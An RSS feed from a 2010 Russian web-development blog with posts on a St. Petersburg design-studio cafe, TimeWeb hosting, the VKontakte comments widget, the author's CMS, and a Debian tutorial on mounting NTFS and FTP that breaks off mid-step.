<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Дом Figaroo</title>
	<atom:link href="http://blogfigaroo.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogfigaroo.ru</link>
	<description>Блог о web-программировании и разработке новой системы управления сайтами Figaroo Site Engine.</description>
	<lastBuildDate>Mon, 06 Sep 2010 08:52:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Фотоотчёт: лавка и кафе Студии Лебедева в Питере</title>
		<link>http://blogfigaroo.ru/2010/09/misc/lavka-i-kafe-lebedeva-v-pitere/</link>
		<comments>http://blogfigaroo.ru/2010/09/misc/lavka-i-kafe-lebedeva-v-pitere/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 18:55:44 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мой выбор]]></category>
		<category><![CDATA[обзор]]></category>
		<category><![CDATA[Питер]]></category>
		<category><![CDATA[фотки]]></category>
		<category><![CDATA[фотоотчёт]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1538</guid>
		<description><![CDATA[Добрый вечер, дорогие читатели. :-) Решили с&#160;девушкой (Надя) сегодня сходить в&#160;кафе Студии Лебедева в&#160;Санкт-Петербурге. Целенаправленно. Ожидали новых впечатлений и&#160;чего-то необычного, яркого. Под&#160;катом полный обзор и&#160;фотоотчёт. Саша Чёрный писал про&#160;лавку и&#160;кафе в&#160;Москве, которыми он&#160;был разочарован. Хотелось посмотреть, как&#160;оно у&#160;нас в&#160;Питере. Официальная страница лавки и&#160;кафе Лебедева в&#160;Питере&#160;&#8212; здесь. На&#160;карте это&#160;тут: addYandexMap("YMapsID-LavkaIKafeLebedeva", 30.349016, 59.936215, 17, "Лавка и кафе [...]]]></description>
			<content:encoded><![CDATA[<p>Добрый вечер, дорогие читатели. :-)<br />
Решили с&nbsp;девушкой (Надя) сегодня сходить в&nbsp;кафе Студии Лебедева в&nbsp;Санкт-Петербурге.<br />
Целенаправленно. Ожидали новых впечатлений и&nbsp;чего-то необычного, яркого.</p>
<div id="attachment_1539" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105682.jpg" rel="shadowbox[post-1538];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105682-300x272.jpg" alt="050920105682 300x272 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" title="050920105682" width="300" height="272" class="size-medium wp-image-1539" /></a><p class="wp-caption-text">Я в кафе студии Лебедева</p></div>
<p>Под&nbsp;катом полный обзор и&nbsp;фотоотчёт. <span id="more-1538"></span></p>
<p>Саша Чёрный <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.chernyy.ru%2Fblog%2Freview%2Fart-lebedev-shop-and-cafe%2F&hash=B8QGEP0ATPKOKS4WKSO040G4S">писал про&nbsp;лавку и&nbsp;кафе в&nbsp;Москве</a>, которыми он&nbsp;был разочарован. Хотелось посмотреть, как&nbsp;оно у&nbsp;нас в&nbsp;Питере.</p>
<p>Официальная страница лавки и&nbsp;кафе Лебедева в&nbsp;Питере&nbsp;&mdash; <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fstore.artlebedev.ru%2Foffline%2Flik2%2F&hash=2BDOPSXQEZTWO00W8KG80KWW0">здесь</a>. На&nbsp;карте это&nbsp;тут:<br />
<script type="text/javascript">addYandexMap("YMapsID-LavkaIKafeLebedeva", 30.349016, 59.936215, 17, "Лавка и кафе Студии Лебедева", "ул. Жуковского, 2");</script></p>
<div class="yandex-maps" id="YMapsID-LavkaIKafeLebedeva"></div>
<p>Был&nbsp;обычный сентябрьский питерский день. В&nbsp;воздухе пахло осенью, но&nbsp;было довольно тепло. Серое небо, сквозь которое пытаются пробиться лучи солнца. Так, о&nbsp;чём это&nbsp;я? Задумался. Перейдём к&nbsp;теме. :-)</p>
<p>Около трёх часов мы&nbsp;пришли в&nbsp;кафе. От&nbsp;Маяковской идти меньше километра. Нас&nbsp;встретила приветливая официантка и&nbsp;принесла меню. В&nbsp;кафе всего 5&nbsp;столиков, 3&nbsp;из&nbsp;которых были заняты.</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105677-768x1024.jpg" alt="050920105677 768x1024 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="525" height="700" class="aligncenter size-large wp-image-1584 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>В&nbsp;меню, правда, указаны только напитки и&nbsp;мороженое. Пирожки и&nbsp;прочие сладости указаны на&nbsp;двух меловых досках у&nbsp;барной стойки. У&nbsp;меня, кстати, в&nbsp;меню почему-то не&nbsp;было последней страницы с&nbsp;мороженым. Ну&nbsp;да&nbsp;ладно, я&nbsp;не&nbsp;обиделся и&nbsp;подсмотрел у&nbsp;Нади. :-)</p>
<p>В&nbsp;кафе царит необычная, но&nbsp;очень уютная обстановка. Всё&nbsp;обставлено по-лебедевски.</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105705-1024x768.jpg" alt="В кафе студии Лебедева" width="700" height="525" class="aligncenter size-large wp-image-1547 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Везде висят картины, вывески &laquo;Кофе&raquo;, &laquo;Дизайн&raquo;, &laquo;Вай-фай&raquo;, &laquo;Чай&raquo;, &laquo;Книги&raquo; и&nbsp;другие забавные штуки.</p>
<p>Интерьер приятен глазу. Чувствуешь себя комфортно и&nbsp;расслаблено. В&nbsp;такое кафе можно и&nbsp;девушку привести, и&nbsp;делового партнёра. А&nbsp;можно и&nbsp;с&nbsp;ноутом посидеть в&nbsp;одиночестве.</p>
<p>Столиков хоть и&nbsp;мало, но&nbsp;тесноты не&nbsp;почувствовалось. На&nbsp;стульях лежат прикольные мягкие подстилки.</p>
<p>На&nbsp;входе висит доска, на&nbsp;которую можно прикрепить свою визитку, буклет или&nbsp;просто клочок бумажки. :-)</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105706-768x1024.jpg" alt="Доска для объявлений" width="525" height="700" class="aligncenter size-large wp-image-1550 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Прикрепил свою визитку:</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/0509201056801.jpg" alt="Моя визитка" width="525" class="aligncenter size-full wp-image-1552 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Из&nbsp;окон проглядывается улица Жуковского:</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105695-1024x768.jpg" alt="Вид из окна" width="700" height="525" class="aligncenter size-large wp-image-1560 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>В&nbsp;кафе есть дартс, в&nbsp;который можно поиграть любому желающему. :-)</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105685-1024x768.jpg" alt="050920105685 1024x768 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="700" height="525" class="aligncenter size-large wp-image-1565 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Что&nbsp;касается цен, то&nbsp;цены здесь&nbsp;&mdash; вполне себе питерские. Я&nbsp;заказал себе капучино с&nbsp;ягодным пирогом, Надя&nbsp;&mdash; чай&nbsp;&laquo;Утренний рассвет&raquo; и&nbsp;трубочку со&nbsp;сгущёнкой, также мы&nbsp;взяли по&nbsp;мороженому. Кусок пирога, кстати, весьма солидный. И&nbsp;со&nbsp;свежими ягодами внутри.</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105687-768x1024.jpg" alt="050920105687 768x1024 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="525" height="700" class="aligncenter size-large wp-image-1567 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Лебедев в&nbsp;своём блоге обещал вкусный кофе. Кофе здесь действительно один из&nbsp;лучших, что&nbsp;я&nbsp;пробовал когда-либо. Вообще, всё&nbsp;было вкусно. Порадовало мороженое&nbsp;&mdash; оно&nbsp;было весьма необычным.</p>
<p>Ещё&nbsp;пара фото:</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105697-1024x768.jpg" alt="050920105697 1024x768 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="700" height="525" class="aligncenter size-large wp-image-1580 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105694-1024x768.jpg" alt="050920105694 1024x768 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="700" height="525" class="aligncenter size-large wp-image-1581 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105696-1024x768.jpg" alt="050920105696 1024x768 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="700" height="525" class="aligncenter size-large wp-image-1582 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Попросил смешать лимонный и&nbsp;апельсиновый&nbsp;сок:</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105702-1024x768.jpg" alt="050920105702 1024x768 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="700" height="525" class="aligncenter size-large wp-image-1569 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Всё&nbsp;это обошлось&nbsp;нам в&nbsp;870&nbsp;рублей. Лебедевские приучены к&nbsp;знаку рубля. :-) Счёт принесли на&nbsp;открытке:</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/050920105703-1024x768.jpg" alt="050920105703 1024x768 Фотоотчёт: лавка и кафе Студии Лебедева в Питере" width="700" height="525" class="aligncenter size-large wp-image-1570 photo" title="Фотоотчёт: лавка и кафе Студии Лебедева в Питере" /></p>
<p>Мы&nbsp;посидели ещё немного, оставили чаевых и,&nbsp;довольные, ушли.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/09/misc/lavka-i-kafe-lebedeva-v-pitere/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Хостинг TimeWeb: опыт использования</title>
		<link>http://blogfigaroo.ru/2010/09/misc/hosting-timeweb/</link>
		<comments>http://blogfigaroo.ru/2010/09/misc/hosting-timeweb/#comments</comments>
		<pubDate>Sat, 04 Sep 2010 09:08:34 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[мой выбор]]></category>
		<category><![CDATA[хостинг]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1460</guid>
		<description><![CDATA[Приветствую, дорогие читатели. Меня очень часто спрашивают о&#160;том, какой хостинг я&#160;использую для&#160;своих проектов и&#160;проектов своих заказчиков (см.&#160;Figaroo Group), поэтому я&#160;решил рассказать об&#160;этом. Я&#160;пользуюсь платным хостингом TimeWeb. Сразу покажу скриншот панели управления: На&#160;серверах стоит всё&#160;необходимое (PHP&#160;5, Perl&#160;5, MySQL&#160;5, Parser, Ruby, Python, phpMyAdmin и&#160;т.д.), поддерживается FTP/SCP/SSH-доступ, журналы сервера, управление .htaccess, каждодневные бэкапы, SSI и&#160;даже C++, а&#160;также управление [...]]]></description>
			<content:encoded><![CDATA[<p>Приветствую, дорогие читатели.</p>
<p>Меня очень часто спрашивают о&nbsp;том, какой хостинг я&nbsp;использую для&nbsp;своих проектов и&nbsp;проектов своих заказчиков (см.&nbsp;<a href="http://figaroo.ru/">Figaroo Group</a>), поэтому я&nbsp;решил рассказать об&nbsp;этом.</p>
<p>Я&nbsp;пользуюсь платным хостингом <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Ftimeweb.ru%2F%3Fi%3D1565%26a%3D0001&hash=5BPBTNK3H688S0S8OOWS4WWS8">TimeWeb</a>. Сразу покажу скриншот <strong>панели управления</strong>:<br />
<div id="attachment_1519" class="wp-caption aligncenter" style="width: 310px"><a href="http://blogfigaroo.ru/wp-content/uploads/2010/09/timeweb_cp.png" rel="shadowbox[post-1460];player=img;"><img src="http://blogfigaroo.ru/wp-content/uploads/2010/09/timeweb_cp-300x269.png" alt="timeweb cp 300x269 Хостинг TimeWeb: опыт использования" title="timeweb_cp" width="300" height="269" class="size-medium wp-image-1519" /></a><p class="wp-caption-text">Панель управления TimeWeb</p></div><br />
<span id="more-1460"></span></p>
<p><strong>На&nbsp;серверах</strong> стоит всё&nbsp;необходимое (<a href="http://blogfigaroo.ru/tag/php/">PHP&nbsp;5</a>, Perl&nbsp;5, MySQL&nbsp;5, Parser, Ruby, Python, phpMyAdmin и&nbsp;т.д.), поддерживается FTP/SCP/SSH-доступ, журналы сервера, управление <a href="http://blogfigaroo.ru/tag/htaccess/">.htaccess</a>, каждодневные бэкапы, SSI и&nbsp;даже C++, а&nbsp;также управление DNS доменов.</p>
<p>Очень удобно работать с&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Ftimeweb.ru%2Femail.htm%3Fi%3D1565%26a%3D0007&hash=B35WWLGVS9SK0GWG8WK0KKWSW">электронной почтой</a>, поддерживается POP/IMAP для&nbsp;входящей и&nbsp;SMTP для&nbsp;исходящий, а&nbsp;также шифрование для всех этих протоколов. Ограничений на&nbsp;количество и&nbsp;размер ящиков&nbsp;нет.</p>
<p><a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Ftimeweb.ru%2Ftariffs_all.htm%3Fi%3D1565%26a%3D0006&hash=6KFSOI2FYVWGKC40W8OK44OK0">Цены</a> радуют. При&nbsp;оплате за&nbsp;год делают скидку и&nbsp;дают домен (ru, com, net, org) в&nbsp;подарок. Плюс, существует <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Ftimeweb.ru%2Fpartnership.htm%3Fi%3D1565%26a%3D0008&hash=CN519155GDW8W044SG0W4WSKG">партнёрская программа</a>&nbsp;&mdash; приведёте знакомых, будете получать 30%&nbsp;от&nbsp;их&nbsp;оплаты (пожизненно). Можно оплатить свой хостинг или&nbsp;вывести деньги (ограничений на&nbsp;вывод&nbsp;нет).</p>
<p>Есть бесплатное тестирование на&nbsp;10&nbsp;дней, каталог сайтов пользователей. Техподдержка хостинга никогда не&nbsp;оставляла в&nbsp;беде.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/09/misc/hosting-timeweb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Мнение по поводу виджета комментариев от ВКонтакте.ру</title>
		<link>http://blogfigaroo.ru/2010/09/webdev/comments-widget-vkontakte/</link>
		<comments>http://blogfigaroo.ru/2010/09/webdev/comments-widget-vkontakte/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 08:18:50 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[OpenID]]></category>
		<category><![CDATA[ВКонтакте]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1504</guid>
		<description><![CDATA[Все, кто&#160;зарегистрирован в&#160;популярной соц. сети ВКонтакте, наверное, уже&#160;видели новость Комментирование статей на&#160;сайтах рунета. Если кратко, то&#160;суть в&#160;том, что&#160;Павел Дуров предлагает не&#160;использовать на&#160;сайтах привычные всем &#171;обычные комментарии&#187; (как, например, в&#160;этом блоге), а&#160;установить специальный виджет. Безусловно, у&#160;такого подхода есть свои плюсы. Владельцу ресурса не&#160;надо заморачиваться с&#160;серверными скриптами, регистрациями, нигде не&#160;надо хранить комментарии и&#160;т.д. Но, на&#160;мой взгляд, гораздо [...]]]></description>
			<content:encoded><![CDATA[<p>Все, кто&nbsp;зарегистрирован в&nbsp;популярной соц. сети ВКонтакте, наверное, уже&nbsp;видели новость <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fvkontakte.ru%2Fblog.php%3Fact%3Ds%26nid%3D141&hash=7UL2X48ZZW8WK88W8OKSCW888">Комментирование статей на&nbsp;сайтах рунета</a>.</p>
<p>Если кратко, то&nbsp;суть в&nbsp;том, что&nbsp;Павел Дуров предлагает не&nbsp;использовать на&nbsp;сайтах привычные всем &laquo;обычные комментарии&raquo; (как, например, в&nbsp;этом блоге), а&nbsp;установить специальный виджет.</p>
<p>Безусловно, у&nbsp;такого подхода есть свои <strong>плюсы</strong>.<br />
Владельцу ресурса не&nbsp;надо заморачиваться с&nbsp;серверными скриптами, регистрациями, нигде не&nbsp;надо хранить комментарии и&nbsp;т.д.</p>
<p>Но, на&nbsp;мой взгляд, <strong>гораздо больше минусов</strong>.<br />
<strong>Во-первых</strong>, рассмотрим самое очевидное. Если пользователь не&nbsp;зарегистрирован ВКонтакте, он&nbsp;не&nbsp;сможет комментировать вашу статью. А&nbsp;таких людей много. Самое главное в&nbsp;том, что&nbsp;мы&nbsp;не&nbsp;можем каким либо образом совместить виджет комментариев ВКонтакте (для&nbsp;зарегистрированных) с&nbsp;обычными комментариями (для&nbsp;незарегистрированных ВКонтакте).<br />
<span id="more-1504"></span></p>
<p><strong>Во-вторых</strong>, комментарии хранятся на&nbsp;чужом ресурсе. Т.е.&nbsp;администрация ВКонтакте имеет к&nbsp;ним полный доступ. Плюс, пока неизвестно, как&nbsp;обстоят дела с&nbsp;банами пользователей. Если Вы&nbsp;смените адрес ресурса&nbsp;&mdash; останутся&nbsp;ли ваши комментарии с&nbsp;вами? Комментарии, написанные через данный виджет, не&nbsp; индексируются поисковыми системами.</p>
<p><strong>В-третьих</strong>, как&nbsp;быть, если у&nbsp;вас&nbsp;есть регистрация не&nbsp;только для&nbsp;комментирования, но&nbsp;и, допустим, для&nbsp;совершения покупок в&nbsp;вашем интернет-магазине? Получится небольшой хаос.</p>
<p><strong>В-четвёртых</strong>, понравится&nbsp;ли пользователям&nbsp;то, что&nbsp;все&nbsp;их комментарии транслируются на&nbsp;страницу их&nbsp;профиля? Мне&nbsp;бы не&nbsp;понравилось, и&nbsp;я&nbsp;бы не&nbsp;стал оставлять комментарий на&nbsp;сайте, если он&nbsp;использует такой виджет. Плюс, далеко не&nbsp;все&nbsp;пользователи хотят показывать, на&nbsp;каких сайтах они&nbsp;&laquo;сидят&raquo;, а&nbsp;уж, тем&nbsp;более, что&nbsp;они там&nbsp;пишут.</p>
<p><strong>UPD: в-пятых</strong>, виджет не&nbsp;будет работать в&nbsp;локальных сетях без&nbsp;интернета (или&nbsp;будет генерировать лишний платный трафик), а&nbsp;также у&nbsp;тех, у&nbsp;кого в&nbsp;офисе заблокирован ВКонтакте.</p>
<p><em>Советую также прочитать <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fhabrahabr.ru%2Fblogs%2Fsocial_networks%2F103415%2F&hash=58QERBG7X3C4W8OOC80SK40W4">эту&nbsp;статью</a> на&nbsp;Хабре.</em></p>
<h3>Выводы</h3>
<p>Я бы оставил привычную регистрацию пользователей, при этом добавил бы возможность входа на сайт через <strong>OpenID</strong> и <strong>VKontakte Open API</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/09/webdev/comments-widget-vkontakte/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Работа над FigarooSiteEngine (26.08.2010)</title>
		<link>http://blogfigaroo.ru/2010/08/engine/rabota-nad-fss-26082010/</link>
		<comments>http://blogfigaroo.ru/2010/08/engine/rabota-nad-fss-26082010/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 11:53:00 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[FigarooSiteEngine]]></category>
		<category><![CDATA[планы]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1495</guid>
		<description><![CDATA[Приветствую всех, кто&#160;следит за&#160;разработкой новой системы управления сайтами. К&#160;сожалению, работа над&#160;системой движется не&#160;так&#160;быстро, как&#160;хотелось&#160;бы в&#160;силу нехватки времени и&#160;людей, но&#160;мы&#160;стараемся. :-) Если вы&#160;хотите присоединиться к&#160;участию над&#160;проектом&#160;&#8212; напишите&#160;мне. Фреймворк FigarooCore В&#160;настоящее время мы&#160;работаем над&#160;завершением ядра системы&#160;&#8212; своеобразного фреймворка, названного нами FigarooCore. FigarooSiteEngine строится на&#160;основе этого фреймворка. Фреймворк FigarooSiteEngine предоствляет удобный слой абстракции, упрощая огромное количество &#171;низкоуровневых&#187; действий. [...]]]></description>
			<content:encoded><![CDATA[<p>Приветствую всех, кто&nbsp;следит за&nbsp;разработкой новой системы управления сайтами.</p>
<p><small>К&nbsp;сожалению, работа над&nbsp;системой движется не&nbsp;так&nbsp;быстро, как&nbsp;хотелось&nbsp;бы в&nbsp;силу нехватки времени и&nbsp;людей, но&nbsp;мы&nbsp;стараемся. :-)</small></p>
<p><em>Если вы&nbsp;хотите присоединиться к&nbsp;участию над&nbsp;проектом&nbsp;&mdash; <a href="http://kirkizh.ru/" title="Киркиж Валерий">напишите&nbsp;мне</a>.</em></p>
<h3>Фреймворк FigarooCore</h3>
<p>В&nbsp;настоящее время мы&nbsp;работаем над&nbsp;завершением <strong>ядра системы</strong>&nbsp;&mdash; своеобразного фреймворка, названного нами <strong>FigarooCore</strong>. FigarooSiteEngine строится на&nbsp;основе этого фреймворка.</p>
<p>Фреймворк FigarooSiteEngine предоствляет удобный слой абстракции, упрощая огромное количество &laquo;низкоуровневых&raquo; действий. Огромный упор сделан на&nbsp;<strong>безопасность, расширяемость и&nbsp;скорость</strong>. Во&nbsp;фреймворк также встроены средства для&nbsp;<strong>автоматизации клиентской оптимизации, <a href="http://blogfigaroo.ru/2009/04/webdev/sozdayom-chpu-sef-apache-php/">ЧПУ</a>, SEO-оптимизации</strong>&nbsp;и&nbsp;т.д.<br />
<span id="more-1495"></span></p>
<p>В&nbsp;отличие от&nbsp;других систем управления сайтами, мы&nbsp;решили написать свой фреймворк, а&nbsp;не&nbsp;взять готовый (например, CodeIgniter), чтобы обеспечить максимальную гибкость не&nbsp;в&nbsp;ущерб другим параметрам.</p>
<h3>Каким мы&nbsp;видим наш&nbsp;&laquo;движок&raquo;</h3>
<p>Нам&nbsp;бы&nbsp;хотелось, чтобы FigarooSiteEngine была, с&nbsp;одной стороны, универсальной (работала&nbsp;бы одинаково хорошо на&nbsp;большинстве хостингов, а&nbsp;также на&nbsp;выделенных серверах), с&nbsp;другой стороны&nbsp;&mdash; очень мощной, быстрой и&nbsp;удобной.</p>
<p>На&nbsp;мой взгляд, система должна быть <strong>удобна и&nbsp;приятна</strong> и&nbsp;профессиональному web-разработчику, и&nbsp;начинающему студенту-фрилансеру, и&nbsp;человеку, далёкому от&nbsp;программирования.</p>
<p>Соответственно, система не&nbsp;должна &laquo;тормозить&raquo; на&nbsp;виртуальных хостингах, не&nbsp;должна подводить в&nbsp;высоко нагруженных проектах и&nbsp;должна иметь простой (но&nbsp;не&nbsp;примитивный) и&nbsp;<strong>лаконичный интерфейс</strong>.</p>
<p>Предполагается наличие репозитория модулей и&nbsp;плагинов, а&nbsp;также возможность легко написать свои, расширяя систему под&nbsp;свои нужны.</p>
<h3>Немного о&nbsp;технологиях</h3>
<p>Тестовая версия системы будет гарантированно поддерживать web-сервер Apache&nbsp;1.3 и&nbsp;2.x, в&nbsp;будущем будет также введена поддержка nginx, lighttpd&nbsp;и&nbsp;др. Движок работает на&nbsp;PHP&nbsp;5, поддерживается версия&nbsp;5.2 и&nbsp;выше. Поддержка более старых версий&nbsp;PHP не&nbsp;планируется. PHP&nbsp;может работать в&nbsp;качестве модуля Apache, также планируется поддержка&nbsp;CGI и&nbsp;FastCGI. В&nbsp;качестве СУБД используется MySQL, поддерживаются версии&nbsp;4.1 и&nbsp;5. Поддержка других СУБД в&nbsp;ближайшем будущем не&nbsp;планируется. Система также может использовать &laquo;ускорители&nbsp;PHP&raquo;, если они&nbsp;установлены в&nbsp;вашей системе.</p>
<p><em>Спасибо за&nbsp;внимание, оставайтесь с&nbsp;нами.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/08/engine/rabota-nad-fss-26082010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Работа с NTFS и FTP в Debian Linux</title>
		<link>http://blogfigaroo.ru/2010/08/misc/ntfs-i-ftp-v-debian-linux/</link>
		<comments>http://blogfigaroo.ru/2010/08/misc/ntfs-i-ftp-v-debian-linux/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 14:25:52 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[NTFS]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1462</guid>
		<description><![CDATA[Добрый день. Продолжаем цикл статей об&#160;установке и&#160;настройке Debian Linux на&#160;домашнем компьютере. Очень часто встречается необходимость работы в&#160;Linux'е с&#160;дисками Windows и&#160;удалёнными FTP-серверами. В&#160;этой статье я&#160;расскажу о&#160;том, как&#160;можно работать с&#160;ними как&#160;с&#160;родной файловой системой. 1. Монтирование дисков Windows (NTFS) Для&#160;начала нам&#160;потребуется драйвер ntfs-3g (подробнее про&#160;него в Википедии). Поставить его&#160;можно через Synaptic или&#160;из&#160;консоли: su apt-get install ntfs-3g Вместо su [...]]]></description>
			<content:encoded><![CDATA[<p>Добрый день. Продолжаем цикл статей об&nbsp;<a href="http://blogfigaroo.ru/2010/07/misc/debian-linux-install-part1/">установке и&nbsp;настройке Debian Linux</a> на&nbsp;домашнем компьютере.</p>
<p>Очень часто встречается необходимость работы в&nbsp;Linux'е с&nbsp;дисками Windows и&nbsp;удалёнными FTP-серверами. В&nbsp;этой статье я&nbsp;расскажу о&nbsp;том, как&nbsp;можно работать с&nbsp;ними как&nbsp;с&nbsp;родной файловой системой.<br />
<span id="more-1462"></span></p>
<h3>1. Монтирование дисков Windows (NTFS)</h3>
<p>Для&nbsp;начала нам&nbsp;потребуется драйвер <strong>ntfs-3g</strong> (подробнее про&nbsp;него <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fru.wikipedia.org%2Fwiki%2FNTFS-3G&hash=8MNE8RM23YCKOGCGSW4GWGCKC">в Википедии</a>). Поставить его&nbsp;можно через Synaptic или&nbsp;из&nbsp;консоли:<br />
<pre class="brush: bash">
su
apt-get install ntfs-3g
</pre></p>
<p>Вместо su можно использовать <a href="http://blogfigaroo.ru/2010/08/misc/sudo-v-debian-linux/" title="Включаем команду sudo в Debian Linux">команду sudo</a>.</p>
<p>Для&nbsp;того, чтобы подмонтировать диск вручную, используйте команду:<br />
<pre class="brush: bash">
su
mount -t ntfs-3g /dev/sda1 /mnt/win-disk -o umask=0
</pre></p>
<p>Здесь <em>/dev/sda1</em> &mdash; логический диск в&nbsp;файловой системе NTFS, а&nbsp;<em>/mnt/win-disk</em>&nbsp;&mdash; каталог, в&nbsp;который будет подмонтирован диск (каталог должен существовать и&nbsp;быть пустым).</p>
<p>Если необходимо, чтобы логический диск монтировался <strong>автоматически при&nbsp;запуске системы</strong>, необходимо отредактировать файл <strong>/etc/fstab</strong> (нужны права root):<br />
<pre class="brush: bash">
su
gedit /etc/fstab
</pre></p>
<p>Откроется необходимый файл. Добавляем в&nbsp;конец файла строчку:<br />
<pre class="brush: plain">
/dev/sda1 /mnt/win-disk ntfs-3g umask=0,nls=utf-8 0 0
</pre></p>
<p>Вот&nbsp;и&nbsp;всё. Теперь перейдём к&nbsp;монтированию фтп-серверов.</p>
<h3>2. Монтирование удалённых FTP-серверов</h3>
<p>Для&nbsp;этой операции нам&nbsp;потребуется драйвер <strong>curlftpfs</strong> (<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fpackages.debian.org%2Flenny%2Fcurlftpfs&hash=9NMMQFRFKL4WOOO8GS4SGSOWS">подробная информация</a>). Ставится он&nbsp;также, как&nbsp;и&nbsp;<em>ntfs-3g</em>.<br />
<pre class="brush: bash">
su
apt-get install curlftpfs
</pre></p>
<p>Ручное монтирование осуществляется&nbsp;так:<br />
<pre class="brush: bash">
su
curlftpfs ftp://пользователь:пароль@имя_сервера /media/ftp опции
</pre></p>
<p>или&nbsp;так:<br />
<pre class="brush: bash">
su
curlftpfs имя_сервера /media/ftp -o user=пользователь:пароль другие_опции
</pre></p>
<p>Здесь <em>/media/ftp</em>&nbsp;&mdash; каталог, к&nbsp;которому подмонтируется сервер. Должен существовать и&nbsp;быть пустым.</p>
<p>Для&nbsp;автоматического монтирования добавляем в&nbsp;<strong>/etc/fstab</strong> (см.&nbsp;выше подробности) строчку:<br />
